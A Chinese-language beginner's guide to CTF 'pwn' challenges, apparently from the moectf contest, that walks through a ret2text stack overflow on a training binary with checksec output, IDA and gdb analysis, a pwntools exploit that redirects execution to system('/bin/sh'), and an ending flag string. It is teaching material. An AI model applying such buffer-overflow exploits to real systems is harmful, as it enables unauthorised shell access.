Pwn——入土指北

砰!砰!砰!

~~砰砰砰给大佬跪子~~

以下粘贴自百度百科

> "Pwn"是一个黑客语法的俚语词，是指攻破设备或者系统 。发音类似"砰"，对黑客而言，这就是成功实施黑客攻击的声音——砰的一声，被"黑"的电脑或手机就被你操纵了 。

在CTF比赛中，pwn题主要是考察对**二进制漏洞的发掘和利用**，在此之上你必须要对**计算机操作系统的底层有一定的了解**，这也是为什么pwn的入门门槛是所有方向中最高的原因之一。当然如果你是0基础的猛新也不用担心，因为基本上**没有人**是在所有关于操作系统的课程都上完过后才去学习pwn的，ctf为你提供了一个学习的平台，你可以一边拓展你的知识面一边享受pwn的乐趣。

关于Pwn你不得不知的前置知识

1. **各大主流平台汇编语言，例如x86与arm**
2. **C语言**
3. **最基本的python**
4. **IDA与gdb的使用**
5. **计算机组成原理**
6. **计算机操作系统**
7. **编译原理**

4，5，6三条可以参考CTF Wiki来进行学习，相关书籍可以看**《程序员的自我修养》**(主要关于程序是如何由源代码到可执行程序的)，**《CTF竞赛权威指南 pwn篇》**(方便快速入门)

同时这里也建议多关注一些论坛，比如吾爱破解，安全客，先知社区，freebuf，看雪等等，在这上面你能学到不少漏洞利用相关姿势，可以在摸鱼的时候浏览查看

Pwn的解题流程

1 . 关于环境

如果你是windows平台的话，首先你需要一台linux虚拟机，这里推荐使用ubuntu18.04，因为大多数pwn题的部署环境都是ubuntu，便于你本地的调试，有了这样一台虚拟机后，你就可以在上面本地或者远程调试pwn题了

注：linux环境下由于默认的远程软件库是国外的源，下载速度可能会比较慢，可以百度"linux换源"

同时，你需要安装pwntools这个python库，它是你在面对pwn题时最有力的工具，用它来get一个个shell吧（安装方法详情请见百度）

在windows下你则需要IDA这个静态分析工具，建议在做题之前先在网上好好了解一下IDA的使用，会极大方便接下来的做题

2 . 面向萌新的一道栈溢出题--ret2text

拿到题目第一件要干的事时checksec，即查看程序启用的保护

```
ret2text checksec ret2text
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

- **arch**即程序所采用的架构，由上可知这是一个x86架构下的32位程序
- **RELRO**(Relocation Read Only)，重定位表只读，这个保护并未完全开启，若完全开启则got表与plt表只读不可写
- **canary**，语义意为金丝雀；`Stack canary`保护机制在刚进入函数时，在栈上放置一个标志`canary`，然后 在函数结束时，判断该标志是否被改变，如果被改变，则表示有攻击行为发生，同时结束程序运行。同上这个保护也未开启
- **NX**(栈不可执行)，NX enabled如果这个保护开启就是意味着栈中数据没有执行权限，如此一来, 当攻击者在堆栈上部署自己的 shellcode 并触发时, 只会直接造成程序的崩溃，但是可以利用rop这种方法绕过
- **PIE**(Position-Independent Executable, 位置无关可执行文件)，即程序运行时各个段（如代码段等）加载的虚拟地址也是在装载时才确定

综上，程序只开启NX

然后我们把程序拖进IDA来进行静态分析

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets((char *)&v4);
  printf("Maybe I will tell you next time !");
  return 0;
}
```

可以发现gets()函数

这是个非常危险的函数，gets() 函数从标准输入读入 一行文本，直到读到 新行符 或 EOF 字符 之前，不会停止读入文本。也就是：gets() 不检查边界。因此，当变量空间 小于 一行字符串 时， 使用 gets() 会造成 溢出

上面时main函数的反汇编代码

接下来来看secure函数的汇编代码

```
.text:080485FD secure          proc near
.text:080485FD
.text:080485FD input           = dword ptr -10h
.text:080485FD secretcode      = dword ptr -0Ch
.text:080485FD
.text:080485FD                 push    ebp
```

```
.text:080485FE                  mov     ebp, esp
.text:08048600                  sub     esp, 28h
.text:08048603                  mov     dword ptr [esp], 0 ; timer
.text:0804860A                  call    _time
.text:0804860F                  mov     [esp], eax      ; seed
.text:08048612                  call    _srand
.text:08048617                  call    _rand
.text:0804861C                  mov     [ebp+secretcode], eax
.text:0804861F                  lea     eax, [ebp+input]
.text:08048622                  mov     [esp+4], eax
.text:08048626                  mov     dword ptr [esp], offset unk_8048760
.text:0804862D                  call    ___isoc99_scanf
.text:08048632                  mov     eax, [ebp+input]
.text:08048635                  cmp     eax, [ebp+secretcode]
.text:08048638                  jnz     short locret_8048646
.text:0804863A                  mov     dword ptr [esp], offset command ;
"/bin/sh"
.text:08048641                  call    _system
```

存在调用system("/bin/sh")，如果我们直接控制程序返回至system("/bin/sh") 所在的地址 0x0804863A，那么就可以到系统的 shell 了

接下来确定gets()函数将接受的字符串储存在哪里

```
.text:080486A7                  lea     eax, [esp+1Ch]
.text:080486AB                  mov     [esp], eax
.text:080486AE                  call    _gets
```

gets函数将字符串存放在esp所指的内存单元

而此时esp中的值为esp+1ch

使用gdb调试，将断点下在`call    _gets`前

```
pwndbg➤  b *0x080486AE
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.
pwndbg➤  r
Breakpoint 1, 0x080486ae in main () at ret2text.c:24
24      gets(buf);
──────────────────────────────────────────────────────────────────────[
registers ]────
$eax   : 0xffffcd5c  →  0x08048329  →  "__libc_start_main"
$ebx   : 0x00000000
$ecx   : 0xffffffff
$edx   : 0xf7faf870  →  0x00000000
$esp   : 0xffffcd40  →  0xffffcd5c  →  0x08048329  →  "__libc_start_main"
$ebp   : 0xffffcdc8  →  0x00000000
$esi   : 0xf7fae000  →  0x001b1db0
$edi   : 0xf7fae000  →  0x001b1db0
$eip   : 0x080486ae  →  <main+102> call 0x8048460 <gets@plt>
```

可以看到 esp 为 0xffffcd40，ebp 为 0xffffcdc8，同因此，我们可以推断

- esp+1ch 的地址为 0xffffcd5c
- esp+1ch 相对于 ebp 的偏移为 0x6c
- esp+1ch相对于返回地址的偏移为 0x6c+4

payload:

```
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()
```

Pwner: pwn for what?

就CTF比赛这几个大类来看，pwn无疑是入门门槛最高的一个方向。它要求你具备以下基本能力：

- 代码审计能力
- 对整体程序流的认知与把握
- 发掘程序中的漏洞点
- 善用所有可利用的漏洞点来发起攻击

在整个getshell的过程中，困难是其次的，重要的是保持耐心与热情；在每个pwner的生涯中或许都会有过长久不能入眠的夜晚，面对屏幕上的一行行代码，逐行分析每个字符，思索各种可能存在的漏洞……最终，你或能在交互后成功在命令行里输入`cat flag`，亦或在疑惑中查询他人的wp，无论结果与否，在潜移默化之中，你都在朝着未来的pwn master的方向砥砺前行。当你在CTF众多分支里选择Pwn的时候，摆在你面前的就不是一条轻松的道路，关于二进制的研究都是如此，所有的pwner都是从萌新一步步逐渐挣扎着、努力变成大佬的，毕竟在拿到shell后心里默念的"hacked by xxx"之中的喜悦之情是什么都难以掩藏的吧。

> Hack For Fun

希望你能在这条路上越走越远。

```
moectf{pwn_for_love!}
```